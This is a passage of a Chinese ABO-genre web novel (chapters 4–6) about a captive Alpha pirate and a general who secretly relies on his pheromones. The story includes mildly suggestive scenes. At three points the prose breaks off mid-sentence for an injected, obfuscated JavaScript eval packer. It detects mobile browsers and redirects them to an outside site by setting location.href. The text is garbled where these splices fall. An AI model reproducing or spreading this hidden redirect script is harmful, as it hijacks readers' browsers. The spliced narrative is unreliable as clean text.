顾礼然瞥了一眼—— 黯淡无光的多面体,一块已经能量耗尽的晶石。 这东西,好像是被这Alpha当做吊坠挂在脖子上的? 他拿这出来是做什么? 这时,戚应物开口了,声音里带着点儿不情愿:“昨天,那个Omega,你认识他的,对吗?” 昨天那个Omega? ……看来,这人认定,昨天他标记的是个真正的Omega。 也好。 顾礼然不动声色地望着戚应物,既没说认识,也没说不认识。 戚应物面带不虞:“能让顾将军做出这种安排的,必定是某个大贵族家的Omega了。” “既然如此,‘劳烦’顾将军,将这块晶石转交给他。” “这晶石我之前天天戴着,他应该会用得上。” 顾礼然眼皮轻颤一下:“怎么?你还想给人送定情信物不成?” 戚应物的脸霎时红了,急道:“什么定情信物!” “你自己也是Alpha,难道不知道要怎么安抚Omega吗?!” “他……他才被标记过,如果远离了我的信息素,他的身体会很不舒服的!” 顾礼然冷声道:“不必了。” “他不需要什么信息素抚..慰。” 说罢,他回过身,沉着脸朝审讯室外走去。 4. 人质 入夜了。 戚应物在囚室里仰面躺成了一个大字。 他攥着被拒收的吊坠,忿忿地瞪着天花板——就好像天花板是顾礼然的脸一样。 那家伙!凭什么代替那位Omega拒绝这个吊坠! 顾礼然自己也是Alpha,而且都这个年纪了,肯定早就标记过Omega了。难道他就没想过,刚刚被标记过的Omega,如果骤然离开Alpha的信息素,会本能地产生焦虑、害怕,甚至哭泣不止? 啊没准还真是这样。反正那家伙骨子里都透着狠戾凉薄,说不定标记完就走了,根本不会管Omega的感受。 可那位Omega,那位被自己标记的Omega…… ……一想到那不曾见面的Omega,戚应物不由自主翻了个身。 虽然没能看到他的面孔,虽然没有听到他的声音,虽然不知道他为什么要这么做…… 但,自己既然对他进行了完全标记,就要尽可能地负起责任。 这是Alpha最基本的义务啊。 更何况…… 那不是普通的Omega。 戚应物的手落到自己左肩处。 从他的左肩到胸口,有一道略显狰狞的疤痕。 这道疤痕来自于寂灭之剑,来自于十二年前闯入皇宫的顾礼然。 或许是因为年龄小、生命力足够顽强,自己从他的剑下奇迹般地活了下来。 只是容貌大变,连精神力都消失殆尽。 这之后,母亲宣称“王子殿下当场身亡”,带着自己偷偷逃出首都星,逃离了王室的一切。 唯一留下的只有这道疤。 这么多年过去,这道疤痕依然如同一只怪异的虫尸般趴在胸口。 自己幼年时问过外婆,这道疤是不是永远好不了。 外婆总会揉着自己的脑袋说:“会好的喔。等小戚遇到百分百匹配的Omega,伤就会好啦。” 长大后,自己也学过AO间的基本知识,知道在理论上,信息素匹配程度极高的Alpha和Omega之间,确实会催生一种独特的疗愈效果,能促使陈年旧伤愈合。 但现实中,能达到这种匹配度的Alpha和Omega,可谓世所罕见百年难遇。 戚应物知道这件事的概率太低,便也从未对此抱有过希望。 直到今天凌晨。 回到囚室后,他发现疤痕的颜色变淡了。用手碰触,还会觉得周围的皮肤微微发痒,呈现出明显的愈合迹象——这正是那种“独特的疗愈”,才能产生的效果。 所以,那位神秘的,无论声音还是容貌都隐于黑暗中的Omega,就是在这浩瀚宇宙,在这无尽时空,对自己而言最独一无二的那一位。 百分百匹配的Omega啊…… 不知不觉间,戚应物的脑海中再度浮现出独特的檀香梅味道。 在最冷最冷的雪地里,带着寒气,带着凌傲,令风雪都为之臣服的气息…… 让人完全沉陷于其中,再无法思考其他。 还有,对方紧致的皮肤,结实的腰部,灼热至发烫的腺体,以及即使用了变声器也无法隐藏的低低气声…… 戚应物的思绪不受控制地飘荡起来。 没办法,作为一个第一次完成标记的Alpha,他根本无法不去回想这件事。 直到他察觉出不妥,暗骂一声自己真是连发..情都不分场合,翻身下床,用简易花洒冲了个冷水澡。 * 同一时刻。 顾礼然闭目躺在床上,双臂规矩地压住被单。 按理,他两个夜晚未曾阖眼,如今终于信息素稳定,生理状态正常,应该能快速入睡。 一刻钟后,他有些不适地将身体侧向一边。 皮肤下方,像是像是有什么东西在轻轻磨蹭,磨得人难受。 他翻向了另一侧。 血管之中,血液的温度仿佛比平素都高,灼得人心痒。 顾礼然一咬牙坐起身,拉开床头柜,习惯性地准备取出抑制剂—— 他顿时想起江奇的嘱托,“不能使用抑制剂”。 他又关上了床头柜。 有没有什么能替代抑制剂的东西…… 顾礼然赤着脚,冷着一张英挺却疲惫的脸,在偌大的卧室里来回走动两圈,最后停在一个隐秘的柜子前。 他打开生物识别锁,从柜子里取出一件东西—— 眼罩。 凌晨副官依照吩咐送回来的眼罩。 上面还还带着淡淡的、糖果独有的甜腻味道,和略显刺激的清爽海盐气息。 顾礼然的指尖在冰凉冷硬的眼罩边缘摩挲着,鼻端下意识嗅着上面的气味,脸上有一瞬自己都没能察觉到的失神。 但他很快又清醒过来,暗斥一声:顾礼然你到底在干什么?你要跟一个虚弱无助的Omega一样到处寻找Alpha的信息素吗?! 他黑着脸,将眼罩重新锁好,回到床上继续躺着。 十分钟后。 顾礼然一脸怒气地再次打开柜子,取出眼罩,丢在了自己的枕头边。 这一次,他很快就睡着了。 睡姿向来规矩的顾礼然,在睡梦中转过身,手挪到枕头边,紧紧抓住了冰凉的眼罩。 * 次日清晨。 顾礼然坐在靠背椅里,左胳膊上绑着监控仪,眼睛盯着光脑上的数据。 方才,副官谢岭已将他需要的信息都传过来了:被顾仪轩毁掉家园的难民状况,戚应物他们劫掠的矿场现状…… 顾礼然一边看,一边低声下着指令。 直到江奇拍着监控仪惊叹道:“好消息!好消息!效果比我想的好很多!” 顾礼然切断通话,以探寻的目光看着江奇:“怎么讲?” 自己不需要再接受那种“深度治疗”了? 江奇:“我原本以为,这一年内,需要至少二十次以上的完全标记才能让你度过这个紊乱期——” “现在看来,不需要啦!” 顾礼然眼底闪过一抹亮色。 很好。如此一来,自己就能按计划把那个Alpha送走…… 江奇:“你只消把他像个挂件一样放在离你不远的地方,日常吸入他正常散发的信息素,就不用那么频繁地接受标记了!” 顾礼然眸色一暗,直接开口道:“什么意思?‘不用那么频繁’?!” 江奇打开光脑投影:“哎你看,我刚刚做出一套测算公式——” “如果你和他保持这种接触频率,那么二十天接受一次临时标记,易感期接受三到四次完全标记,应该就能完成矫正了!” “如果频率降低一点,那么十天一次临时标记……” 江奇兴致勃勃地说了许多。 顾礼然耐着性子听他说完,面色已完全黑了:“按你的推算,无论如何都需临时标记和完全标记?!” 江奇挠挠头:“唔……那不然把临时标记省掉?……” 顾礼然捏了捏眉心,疲惫道:“不用再说了。把公式传给我。” * 审讯室。 沃尔夫坐在硬邦邦的椅子上,和戚应物像聊家常一样聊着他们到底会被关多久。 “难道真要关上180年?那放出来的时候我们不就是老头子了?”沃尔夫颇为忧虑。 戚应物沉思片刻,慢慢摇头:“不应该。” “如果那家伙要这么做,根本不用费劲审我们。” 以顾礼然的权势,直接把两名星盗丢去深空监狱终生监禁,又有谁敢质疑半分? 这人到底要做什么? 迟疑间,顾礼然进来了。 他换回了制式常服,灰褐色的衬衫一直扣到喉结下方,黑色的领带压着衬衫,分毫不乱,一丝不苟。 顾礼然坐下之后,示意副官:开始。 谢岭便有条不紊地说了起来。 他说的是关于沃尔夫的安排。 听着听着,沃尔夫先是张嘴,后是呲牙,而后又疑惑又迷茫,看向戚应物,又看向谢岭。 最后,谢岭道:“有什么不理解的?” 沃尔夫瞪着眼睛:“你们……要把我放了?” “不但放了,还让我,让我,回家??” 按谢岭方才所说,明日,军团会派出一支灾后重建的特别小组前往沃尔夫的家乡——那颗满目疮痍的五等星阿洛斯。 沃尔夫会被转送至该处接受看管,同时协助小组和当地人沟通,共同完成重建。 谢岭当即纠正道:“不是‘放你回家’!” “是给你一个戴罪立功的机会!” 沃尔夫的嘴角抽搐几下,眼里先是一片茫然,随后渐渐亮堂起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396562|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 最终他忍不住笑出声,嘿嘿道:“你们,你们真放我走?你们都不担心,我们爬起来逃跑了?当然我们肯定不会跑……” 沃尔夫这边高兴得说话都结巴了,戚应物却皱起了眉头,若有所思地看向顾礼然—— 对方双手交叠,托着下巴,似乎漫不经心地朝自己扫了一眼。 这人打算就这么简单地把人给放了?而且,明明是他用无人机把沃尔夫的家乡烧了个一干二净,为什么现在又要派人去重建? 这又狡猾又狠毒的狐狸,究竟打的什么主意? 恰在这时,副官制止了憨笑的沃尔夫,继续道: “为了防止你潜逃,以及避免你煽动当地人闹事,戚应物要留在这里。” “一旦你脱离监控,或者故意拖延妨碍,又或者你沟通不力耽误重建,戚应物会立刻被送去军事法庭。” 沃尔夫浑身一僵,立即摇头:“不不不,你们这是把小戚当人质,你们……” 顾礼然截断了沃尔夫的话:“如果不接受,你们可以一起去军事法庭。” 他的声音竟然比昨天还要冷,带着刺骨寒气般,听得人不由自主一个激灵。 沃尔夫被压得不敢说话,只不住摇头—— 戚应物无所谓般开口道:“我留下来。” 沃尔夫还在使劲摇头,顾礼然已经一抬手:“带他走。” 片刻后,审讯室里只剩下戚应物和顾礼然,对视而坐。 顾礼然的身体向后退了一点,两腿交叠,语气淡然地开口:“知道为什么把你留下来?” 戚应物冷笑一声:“啊,我来猜猜看。” “我猜,如果我胆敢拒绝顾礼然将军的任何安排,你们一转身就会停止重建,再顺手把沃尔夫送去深空监狱。” 顾礼然似笑非笑地盯着他:“猜得不错。” 顾礼然这高高在上的态度,刺得戚应物一阵无名火起。 他咬着牙:“你们究竟在打什么主意?” 顾礼然站起身,以谈论军规一般的肃穆口吻说着: “你之前见过的那位Omega,他的信息素不稳定。” “在他身体稳定下来前,都需要用到你的信息素。” “这件事,属于‘绝密’。”顾礼然停顿一下,慢慢道,“如果你拒绝提供信息素,又或者对外透露这件事——” “你已经猜到后果了。” 说完,顾礼然同昨日一样,收回视线,大步朝门口走去。 不料戚应物快走几步赶到他身后,从颈间拽下一件东西挂在手里一晃:“你想要这个是吧。” 顾礼然下意识回头一望—— 是那颗吊坠。 那颗昨天戚应物说要送给Omega,满满都是信息素味道的晶石吊坠。 顾礼然脚步一顿,喉咙不由地向下滑动少许。 但他还是别开眼,若无其事道:“昨天说过,那位Omega不需要这个。” 戚应物:“哦?是吗?那为什么你今天一直在看它?” 眼睛扫过我的胸口好几次,不就是在找这个? 说话间,戚应物还特意晃了晃皮革质地的链条:“顾将军是发现昨天拒绝得太莽撞,今天不好意思开口?” 顾礼然皱起眉头,还没说话,戚应物已抢在他面前道:“我可以再送一次!只要你回答我一个和他有关的问题!” 顾礼然:“……你问。” 戚应物抿了下嘴唇,完全不同于和顾礼然对话时的毫无忌惮,而是略略有些紧张:“那位Omega,他,他现在,身体还好吗?” 自己当时咬得太用力了,会不会让他受伤? “……这个啊。”顾礼然像是在思考要怎么回答,眼帘微微垂下,纤长细密的睫毛轻轻闪着。 戚应物的眼睛不由自主定在了顾礼然的脸上。 一瞬间—— 顾礼然迅速抬手,从戚应物手里扯过了吊坠。 “这件事,无可奉告。”他将吊坠握在掌心,嘴角竟是带着戏谑地翘了一下。 戚应物惊得倒吸一口气,大喊道:“不是,顾礼然!你怎么,你怎么耍无赖?!” 顾礼然:“你问了,我答了,有什么不对?” “至于吊坠,你执意要送,我现在答应转交,有什么异议?” 说罢,顾礼然长腿一迈,坦然大方地走出了审讯室。 5. 不成体统 次日。 “小戚!”已经换好衣服背上行囊的沃尔夫,抱住了赶来告别的戚应物。 这比身为Alpha的戚应物还要高出半个头、肩膀也宽阔许多的青年,被抓捕时都没有惊慌,如今倒是蓄了满眼的泪。 “小戚,委屈你了……”沃尔夫不住拍着戚应物的后背,双眼通红。 “你明明最讨厌那个顾礼然……都是我的错……”沃尔夫满心愧疚,语带哽咽。 少年时,他曾听小戚说过,为什么胸口有个始终好不了的疤,就是顾礼然这家伙干的。 长大些之后,小戚自己再不说这件事,也让他别对外说。 这些年以来,不管是四等星还是五等星,都时不时能听见顾礼然的种种事迹,什么又成功驱逐异种恢复了一条航道啊,什么又外拓了帝国的边境线啊…… 总之,在民众眼里,这位顾礼然简直是帝国的荣光。 每每这个时候,小戚的表情都很复杂。但他并不会对其他人多说什么,只是默默坐在一边,偶尔还会捂住胸口。 后来,自己的家乡阿洛斯,被顾礼然派来的无人机被烧成了废墟。 这声名在外的帝国将军,当真是个黑心的败类! 烧民居,抢晶石…… 无怪乎小戚这么恨他。 偏偏自己头脑发热,非要去闯顾礼然他们军团星舰附近的补给营。 如今,倒害得赶来救自己的小戚成了真正的人质,要继续留在这里做顾礼然的囚徒! 都怪自己! 戚应物用力回抱了下沃尔夫,松开手臂道:“瞎说什么呢。” 他压低声音:“我哪里就委屈了。” “我跟你说,我留在这里,正好可以搜集那家伙的破绽。” “到时候……”戚应物没说完,只用手比了一个“当胸刺入”的手势。 沃尔夫眼睛一亮,随即重重点头,收起眼泪:“兄弟,保重。” * 送走沃尔夫以后,戚应物独自往监舍走去。 自顾礼然“摊牌”之后,副官就告诉他:从现在开始,戚应物可以在顾将军的这座别苑里随意走动,不会再有卫兵时刻监视他。 当然了,戚应物很清楚,这只是“表面上没人监视”而已。 还未走到监舍门口,两名士兵迎面上来,告诉他:他的居所换到了另一座楼。 嗯?这是又要换一个监牢吗? 戚应物顺其自然地跟着士兵往前走,路过好几处庭院与小楼,最终停在一处雅致大方的住宅楼前。 出乎意料的,一名白衣黑裤、候在门口的仆人礼貌地冲他躬身: “戚先生,这是顾将军的专用寓所。” “顾将军吩咐了,从今天开始,您就住在他的房间对面。” ……啊? 这完全超出戚应物认知的事实,让他大脑短暂宕机一秒。 仆人继续道:“戚先生,请回房间稍事休息,顾将军一小时后在起居室见您。” ……戚应物就这么脑袋嗡嗡地迈进了这座楼。 * 新的房间比之前的囚室宽敞了数十倍。 明亮整洁自不必说,各种设施也是一应俱全,就连步入式衣帽间都特地分出了领带柜和手表柜。 这样的安排与布置,对于生在皇宫的戚应物来说并不陌生。 真正出乎他意料的,是书房里为他准备了一台光脑。虽然锁掉了部分功能,但足以查询信息,也可以和白名单上的人通信。 戚应物拿起光脑,越发不明白顾礼然这究竟是打的什么算盘。 真的只是因为一个信息素不稳定的神秘Omega? 正不解着,一行信息从光脑上跳出来: 谢岭:【到起居室来。】 * 起居室在另一层。 戚应物走进去时,顾礼然正坐在沙发上,依然是那身熨烫笔挺的衬衫与军裤,面前是一幕幕的光脑投影。 见他进来,顾礼然的手滑动着投影,并未挪开视线,只冲一旁的谢岭扬了扬下巴。 谢岭便告诉戚应物:十天之后,随将军共同前往边境区域。 这一趟,顾礼然和随行军官都会隐藏身份。但戚应物,长期活动在边境星的戚应物,“本色出演”,以明面上的“介绍人”身份协助顾礼然他们。 戚应物听完之后,先是止不住的窃喜——自己可以回边境星域,可以找机会传消息给族人了。 但同时又有几分错愕:“为什么?” 顾礼然看向站在面前的戚应物: “你之前不是声称,边境区域的各种‘陷阱’都太隐蔽,除非身在其中,否则根本想象不到当地人被盘剥到了什么程度?” “既然如此,我们就去‘身在其中’试试。” 戚应物惊得一时没说出话来。 好半响,他才道:“你……你究竟……” 你为何会有这样的举动?又是重建又是调查的。 ……等等,或许这其实是什么陷阱?! 一想到这里,戚应物方才涌起一股热流的心,顿时又冷了半截。 他忍住想要脱口而出的话,只道:“懂了。我会配合的。” 闻言,顾礼然关掉面前的投影,缓缓道:“你打算怎么配合?” 戚应物:…… 我只是随口一说,谢谢。 顾礼然:“随口一说?军营里可没有‘随口一说’。” 戚应物:……! 我明明没说话啊他是怎么知道的! 顾礼然摇摇头:“眼里藏不住事。” 戚应物:…… 顾礼然将长腿交叠着,慢条斯理道:“第一步,收起你眼里的敌意。” “你既然是介绍人,就不能时刻都用这种恨不得捅人一刀的神情看着‘金主’。” “明白了?” 戚应物刚想开口,顾礼然又举起两根手指挡在唇前:“第二步,言语礼貌。” 戚应物看着对方的手势,以及那黑漆漆的眼里一闪而过的狡黠,只觉得牙都在痒。 但,他实在是无法拒绝这个安排。 他只能垂下眼睛,忍气吞声道: “好的,顾将军。” “还有其他事吗?” 顾礼然满意地点下头:“你可以走了。” 戚应物咬着牙出去了。 戚应物离开之后,顾礼然从沙发上站起来,手指插..进衣领略微一转,眉眼间带上了几分他自己都未曾察觉的神清气爽。 旁边的谢岭倒是锁着个眉头。 好一番欲言又止后,这位陪伴了顾礼然足足八年的副官,终于忍不住开口道:“将军……” 顾礼然:“嗯?” 谢岭:“顾将军,其实,把他交给下面的兄弟们好好管教一番,他自然就学会礼貌了。” “我昨天还听见他对您直呼其名!” “这小子,真是对您毫无敬意!” 谢岭怎么都想不明白:这个不过19岁的小小星盗,为什么在顾将军面前非但没有丝毫的敬畏之心,还时时冲撞将军? 他到底哪里来的底气?! 再怎么穷凶极恶的Alpha,到了顾将军面前,也会慑于将军的威严与气势,一个个都服服帖帖恭顺有加啊。 顾礼然微微摇头,走到窗前,眉宇间的那点轻快消失不见,声音回到了平素的沉稳: “他恨我。” “我们军团在边境区域干出那样的事,他们自然恨我。” 谢岭急道:“可那根本不是将军您做的!您完全是被栽赃的啊!” 顾礼然:“……都一样。” “在民众看来,都一样。” “若是特意澄清,反倒更像是推卸。” 谢岭哑然。 他知道,顾礼然说得没错。 惟其如此,他才更为将军感到委屈。 * 不得不说,新房间的床褥用起来十分舒适。窗帘足够厚重,窗户也非常隔音。 搬进来的第一个晚上,戚应物睡得很沉。 天色微明晨光乍现,他便醒了过来。 在床上躺了几分钟,他的思绪不自觉地又滑向了那名Omega。 作为一名Omega来说,对方的身量高得罕见,身材也颇为结实。 腰部力量也……很惊人…… 一想到这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396563|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,戚应物顿觉邪火上窜,体温节节攀升。 不行。 哪怕这房间再舒适,也不过是个大一点的囚室。 自己怎可在囚室里“自娱自乐”。 他骨子里那点王室的尊严,不允许他做出这种事来。 他一咬牙,坐起身,决定按照往日的作息,出门晨跑。 * 戚应物知道,顾礼然并不是什么“清贫的武官”。 作为声名显赫的已袭爵大贵族,这人在首都星的私人领地,其面积与功能都与一座真正的城市无异。城中的各项产业,权属上尽归顾氏;在其间工作的人员,无论职位,本质上都由顾氏支配。 顾礼然的这座别苑,算是偏安一隅,在城郊占了林清水秀的一块地方。 这样的好风景,又是春末的好季节,尽管寓所里从健身房到游泳池一应俱全,戚应物还是愿意到户外来慢跑。 跑步确实清空了他的杂念。 就这么跑了一个小时,直至天光大亮,戚应物这才跑回住宅楼,汗淋淋地进了大厅。 大厅空阔雪亮。据说顾礼然不喜欢像王室那样安排太多人类仆从,故而都这个时间了,厅里依然一个人都没有。 等电梯时,戚应物想着周围也没人,索性掀起T恤下摆,寥寥草草地擦着头上的汗。 恰在这时,电梯从地下楼层升到了一楼。 门安静滑开。 电梯里还有一个人—— 顾礼然。 顾礼然像是才从训练房出来,一件薄而紧的黑色制式短袖衫贴在身上,勾勒出紧致而结实的线条。许是运动量太大的缘故,他的颈部蒙着薄汗,脸颊带着此前不曾有过的热意,饱满的胸膛也在微微起伏。 戚应物连忙放下T恤,还往下扯了一把。 而顾礼然的眉峰已然攒起。 戚应物一来没想到这个时候会碰见其他人,二来从未见过脸颊泛红周身带汗的顾礼然——无论十二年前还是现在,都从未见过。 如此,他一时忘了挪开视线,就这么直勾勾地盯着对方。 直到顾礼然眼底黑雾涌动:“怎么?” 此人素日的声音都冷冷的,并不会带上多少情绪,甚至有种微妙的人机感。 但此刻,这把声音里埋着的是不加掩饰的不悦。 这人怎么了?昨天还是一副把人拿捏住的狡黠模样,今天这一大早是在生什么气? 戚应物眨眨眼,回想起来:对了,此人昨天跟自己说,要“言语礼貌”。 因此,戚应物清清嗓子,做出礼貌的模样,“毕恭毕敬”地问候一声:“早上好,顾将军。” 说罢,他便迈开长腿,准备进电梯。 不料顾礼然抬手一挡,再按下了关门键。 电梯门就这么在戚应物面前徐徐合拢。 从越来越窄的门缝里,甩出一句怒气深重的话:“不成体统。” 戚应物:?! 什么? 戚应物满眼都是错愕:这是在说我?! 我怎么就不成体统了?难道乘电梯前必须穿正装?你自己不也满身是汗连衣服都湿透了吗?! 这个顾礼然,不但心狠手辣不择手段,还阴晴不定变幻莫测完全无法捉摸! * 此时,这个阴晴不定变化莫测的顾礼然,步伐微微不稳地冲回了自己的卧室。 向来注重身体清洁的顾礼然,顾不得沐浴更衣,转手拉开了床头柜。 他修长的手指,急不可耐般从柜子里抓出那枚黯淡无光的晶石吊坠,攥得紧紧的,再速速放到鼻端—— 甘甜的气息,随着他的呼吸,徐徐蔓延至四肢百骸。 方才血管里那种逼人的躁动,在这近乎甜美的气味的安抚之下,缓缓平息。 好了,好了。 顾礼然绷紧的身体渐渐松懈下来。 理智重新占据了他的头脑。 他站起身,随手将晶石丢进柜子,眉头紧锁满脸阴郁: 顾礼然,你在做什么? 就那么一丁点随着汗液扩散的Alpha信息素,就连监测仪都不会预警的浓度,就足以让你反常至此?! 简直是,不成体统! 6. 努力改进技术 “你是说,你闻到了戚应物身上的信息素,但监测器根本没有监测到信息素外溢?”江奇道。 顾礼然早已梳洗换衣,如今又是一身笔挺利落的军服,散在前额的头发也已梳理得整整齐齐。 他坐在沙发上,看着光脑,应道:“对。” 江奇又道:“而且,闻到信息素之后,你变得躁丨动难安,同时又分外焦灼,甚至有些愤怒,直到用别的方式获取了信息素?” 顾礼然:“……对。” 江奇噼里啪啦查询一番,最后笃定道:“正常现象。” “我是说,这在紊乱期属于正常现象。你现在和Omega类似,对于特定Alpha的信息素会非常敏感,所以只要浓度稍微提高,你就有所感应。” “如果这个时候你愿意主动释放信息素,那你的身体会认为你需要像Omega一样被标记,不会产生对Alpha的排斥。” “如果你不愿意释放信息素,你在高度敏感的同时,会始终保留着Alpha对同性的排斥。” “你知道的——一个Alpha嗅到了另一个Alpha公然释放的信息素,无异于收到了战书。” “换句话说,Omega的特质让你识别出对方零星散发的信息素,让你本能地想要更多;Alpha的特质,让你想要冲上去和对方干一架。” 江奇摇摇头,最后叹息般总结着:“真难啊。这么左右互搏,你自己的身体也不知道到底是该干架还是该干那啥了。” 顾礼然一脸阴沉地关掉光脑:“有没有既不需要释放信息素,又能缓解这种‘左右互搏’的办法?” 江奇道:“只要你看不到这位Alpha,不再和他共处一室,你的Omega特质会短暂占上风,就可以通过接触带有信息素味道的物品缓解不适了。” 顾礼然:“如果必须共处一室呢?” 江奇努力思考一番,不太确定地道: “或许……对方在你面前又顺从又温和,缓解你的敌意,让你完全体会到顶级Alpha的掌控感,就能安抚你作为Alpha的那一面?” 顾礼然站起身:“那就等于‘没办法’了。” 江奇一缩脖子,暗道也是。 都是Alpha,对方还是顾礼然的阶下囚,怎么可能“顺从又温和”? * 第二天。 戚应物今天依然是早早起床,出门晨跑。 考虑到昨天的状况,今天他决定提早十分钟回去,以免再来个不期而遇。 他同昨天一样,等在电梯前,随手撩起T恤下摆擦了擦汗。 电梯到了。 门开了。 电梯里赫然又是身着短袖,带着周身热气的顾礼然。 怎么这人今天也提前结束训练了? 戚应物愣了半秒,抱起胳膊,做出皮笑肉不笑的模样: “早上好,顾将军。” “我知道自己‘不成体统’,不会占用顾将军您的体统空间的。” “您看,我多有礼貌。” 说罢,他一扭头,直接奔另一侧的应急楼梯去了。 剩下顾礼然在电梯里黑着脸,心道指望这家伙顺从温和,还不如指望黑洞把吞进去的东西吐出来。 * 戚应物在别苑生活了足足十天。 他定时晨跑,沐浴,在AI管家的指引下用餐,学习—— 对,学习。 他别苑里找到一间古籍图书馆,查到了大量的珍稀资料,比如各种旧式机甲、飞行器的维护说明和制造方法。 对于精神力受损的戚应物来说,他无法驾驭需要精神力链接的机甲和飞行器,只能不断改进这种古早装备,再尽可能地把它们的性能发挥到极致。 在古籍图书馆里找到的这些文献,对于戚应物来说可谓是急人之困,正好解决了他的许多疑惑。 十天后的一个傍晚,谢岭找到了他。 这位表情严肃的副官,沉着脸告诉他:“跟我来。不要问多余的事。” 戚应物的心不受控地快跳起来。 不用问,他也知道这是需要他去做什么。 * 依然是那间藏在树影间的小阁楼。 略有不同的,是这一次他没有穿浴袍,而是穿了一套白色的、由米沙洛星虫的丝编织而成的轻柔寝衣。 戴上眼罩后,他独自推开门,进了房间。 Omega并不在房间里。 好在谢岭叮嘱过,“你在里面老实等着就行。” 戚应物凭着上次在屋子里跌跌撞撞的记忆,走到靠窗的沙发前坐了下来。 目不能视的情况下,他什么都干不了,确实只能等着。 那位Omega到底什么时候来? 他听见复古式的挂钟在一格一格地往前走。 戚应物换了个舒服点的姿势,躺在了柔软的沙发上。 他几乎有些困了。 他将胳膊枕在脑袋底下,在黑暗里听着窗外几不可闻的虫鸣,鸟啼,以及树叶摇动的沙沙声。 那位Omega,那位能让顾礼然做出这许多安排的神秘人……到底是什么人呢? * 戚应物是被“视线”惊醒的。 虽然他看不见,但他能感受到,有人在看自己。 他还能听到,身边多了道呼吸声。 伴着呼吸声,拂面而来的便是那清清冷冷的暗香气。 他一下坐起身:“你来了!” 半响,前方响起毫无波澜的声音:“这也能睡着。” 这句话没有任何语气,但戚应物还是两耳微红,试图解释:“这里挺安静的,沙发也挺舒服,不知不觉就睡着了……” 他想告诉这位Omega,自己并不是漫不经心地在对待这件事。 但对方没搭理他的解释,而是不在乎一般地坐到他旁边,呼吸掠过他的肩膀:“今天只需要做‘临时标记’。” “啊?好,好的。”戚应物连忙道。 对方停了几秒,开口道:“怎么,失望了?” 虽说看不见这人的表情,听不出任何的语调,但戚应物还是能感觉到:这人在嘲讽自己。 但戚应物丝毫不恼。 他温顺地摇着头:“不,没有。” “我其实上次一直担心,‘完全标记’对你的负担来说太大了……” 说到这里,他脸上又有点红:“嗯,对于Omega来说,要一下做到那个地步,还是挺勉强的……” 同样穿着一身白色寝衣的顾礼然,坐在沙发对面,两手交抱,长腿交叠,头不自觉地稍稍歪着,不动声色地打量着面前这人。 对方坐得规规矩矩,双手都很老实地搁在膝盖上。 他面朝着自己,耳朵和脸都泛着红。 他的眼睛被被黑色眼罩完全遮盖住,完全看不到眼里的神色。 但顾礼然的脑海里,已不期然地浮现出那双眼睛—— 眼尾带着一点点的弧度,微微下垂;瞳孔是清浅柔软的淡褐色,眼里泛着点不染尘埃的光。 在和其他人,比如和那个叫做沃尔夫的Beta说话时,这人的眼神总是温暖而柔和。 此刻,他也一定在专注地,期待地,纯粹地,望着说话的人,望着他想象中的柔弱Omega。 顾礼然的眉头微微蹙起。 他调转视线,淡淡道:“不用说那么多。” 他顿了一下,带着点儿自己都说不清的心理,又补了一句: “上次,你技术太差了。” “齩得太深,很痛。” 被这般不客气的评价,这骄傲异常的Alph ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396564|184301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a一定会受伤。 那双纯良的眼睛,顿时就会和往常看着我时一样,揉进不加掩饰的愤怒与不甘。 不料,戚应物的脸上没有浮现出一星半点的不悦。 他甚至带着歉意,小声道:“啊,果真。” “对不起……” “我这次会小心一点。我会努力改进的……” ……这Alpha在搞什么? 被评价技术差,难道不应被刺得浑身难受吗? 他的反应竟然是道歉?是“会努力改进技术”? 顾礼然的眉头皱得更紧了,心中有些说不出的怪异。 太怪了。 一定是因为从没见过这么没有攻击性的Alpha,所以会觉得怪异。 顾礼然不想再说什么,只道:“夠了,开始。” 他往前挪了下,又侧过身体,低下头颅,将線体暴露在Alpha的呼吸之下。 他闭上眼,等待着齿尖穿过皮肤。 然而,他首先等到的,不是堅硬的犬齿,也不是原始的撕齩,而是如浪謿般一涌而上的信息素。 房间里,顷刻便被太妃糖的甜香味道所填滿,再由海盐的清新气息点缀其间。 顾礼然的睫毛颤动几下,绷直的肩头不自觉地松下来,身体的线条都柔和了几分。 这个味道,这被他嘲为幼稚至极的味道…… 这几日,他辗转于会议室,谒见室,办公室,监察处……每每深夜回到房间,这点儿味道,是唯一能让他短暂沉入睡眠的东西。 可惜,晶石上的信息素越来越少,味道越来越淡。 不像现在,这味道浓烈到近乎奢侈。 他轻轻喘着气,放任自己沉溺于这謿水中。 待顾礼然的身体全然放松后,带着些许的热度的指..腹,落到了他的頸部。 缓缓按压,细细碰触。 这力度非常柔和,轻轻地沿着線体边缘打转,不断擵挲着那一片的皮肤。 如此一来,顾礼然瞬间一个战栗,胳膊上的皮肤都起了鸡皮疙瘩。 他不禁拔高音量:“你在做什么?” 